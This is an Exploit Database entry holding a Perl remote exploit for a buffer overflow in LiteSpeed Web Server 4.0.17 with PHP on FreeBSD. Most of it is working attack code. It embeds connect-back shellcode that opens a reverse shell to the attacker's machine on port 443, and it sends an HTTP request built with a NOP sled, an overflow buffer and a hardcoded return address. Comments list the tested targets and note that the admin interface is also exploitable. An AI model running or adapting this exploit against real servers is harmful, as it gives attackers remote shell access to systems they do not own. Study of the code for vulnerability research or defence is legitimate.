Litespeed Web Server 4.0.17 with PHP (FreeBSD) – Remote Overflow

Exploit Database
108 阅读

作者： kingcope

日期： 2010-12-10
类别：
- remote
平台：
- freebsd
来源：https://www.exploit-db.com/exploits/15723/

# LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD

# bug discovered & exploited by Kingcope

# Dec 2010

# Lame Xploit Tested with success on

# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86

# FreeBSD 6.3-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86

# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.15 Standard x86

# can be used against the admin interface (port 7080), too

# Xploit only works on default lsphp binary not the compiled version

# this should be exploitable on linux too (on the compiled SAPI version)

# the shipped linux version of lsphp has stack cookies enabled,

# which could be brute forced if there wasn't a null put at the end of

# the exploit buffer. The compiled SAPI version is exploitable, but then

# the offsets differ from box to box, so this time FreeBSD targets only.

# thus on linux this is very tricky to exploit.

# this is a proof of concept, don't try this on real boxes

# see lsapilib.c line 1240

(http://litespeedtech.com/packages/lsapi/php-litespeed-5.4.tgz)

use IO::Socket;

$|=1;

#freebsd reverse shell port 443

#setup a netcat on this port ^^

$bsdcbsc =

# setreuid, no root here

"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".

# connect back :>

"\x31\xc0\x31\xdb\x53\xb3\x06\x53".

"\xb3\x01\x53\xb3\x02\x53\x54\xb0".

"\x61\xcd\x80\x31\xd2\x52\x52\x68".

"\x41\x41\x41\x41\x66\x68\x01\xbb".

"\xb7\x02\x66\x53\x89\xe1\xb2\x10".

"\x52\x51\x50\x52\x89\xc2\x31\xc0".

"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".

"\x74\x06\x31\xc0\xb0\x01\xcd\x80".

"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".

"\x80\x31\xc0\x31\xdb\x43\x53\x52".

"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".

"\x53\x52\x50\xb0\x5a\xcd\x80\x31".

"\xc0\x50\x68\x2f\x2f\x73\x68\x68".

"\x2f\x62\x69\x6e\x89\xe3\x50\x54".

"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".

"\xb0\x01\xcd\x80";

sub usage() {

print "written by kingcope\n";

print "usage:\n".

"litespeed-remote.pl <target ip/host> <target port>

<your ip> <php file on remote host>\n\n".

"example:\n".

"perl litespeed-remote.pl 192.168.2.3 8088

192.168.2.2 phpinfo.php\n\n";

exit;

}

if ($#ARGV ne 3) { usage; }

$target = $ARGV[0];

$port = $ARGV[1];

$cbip = $ARGV[2];

$file = $ARGV[3];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

substr($bsdcbsc, 37, 4, $a1 . $a2 . $a3 . $a4);

#my $sock = IO::Socket::INET->new(PeerAddr => $target,

# PeerPort => 8088,

# Proto=> 'tcp');

#$a = "A" x 500;

#print $sock "POST /phpinfo.php HTTP/1.1\r\nHost: 192.168.2.5\r\n\r\n";

#$x = <stdin>;

#$ret = pack("V", 0x28469478); # FreeBSD 7.3-RELEASE

#$ret = pack("V", 0x82703c0); # FreeBSD 6.3-RELEASE

$ret = pack("V", 0x080F40CD); # JMP EDX lsphp

my $sock = IO::Socket::INET->new(PeerAddr => $target,

PeerPort => $port,

Proto=> 'tcp');

$a = "A" x 263 . "AAAA" x 6 . $ret . "C" x 500;

$sc = "\x90" x 3000 . $bsdcbsc;

print $sock "POST /\x90\x90\x90\x90\x90\x90\xeb\x50/../$file?

HTTP/1.1\r\nHost: $target\r\nVVVV: $sc\r\n$a KINGCOPEH4XXU:\r\n\r\n";

while (<$sock>) {

print;

}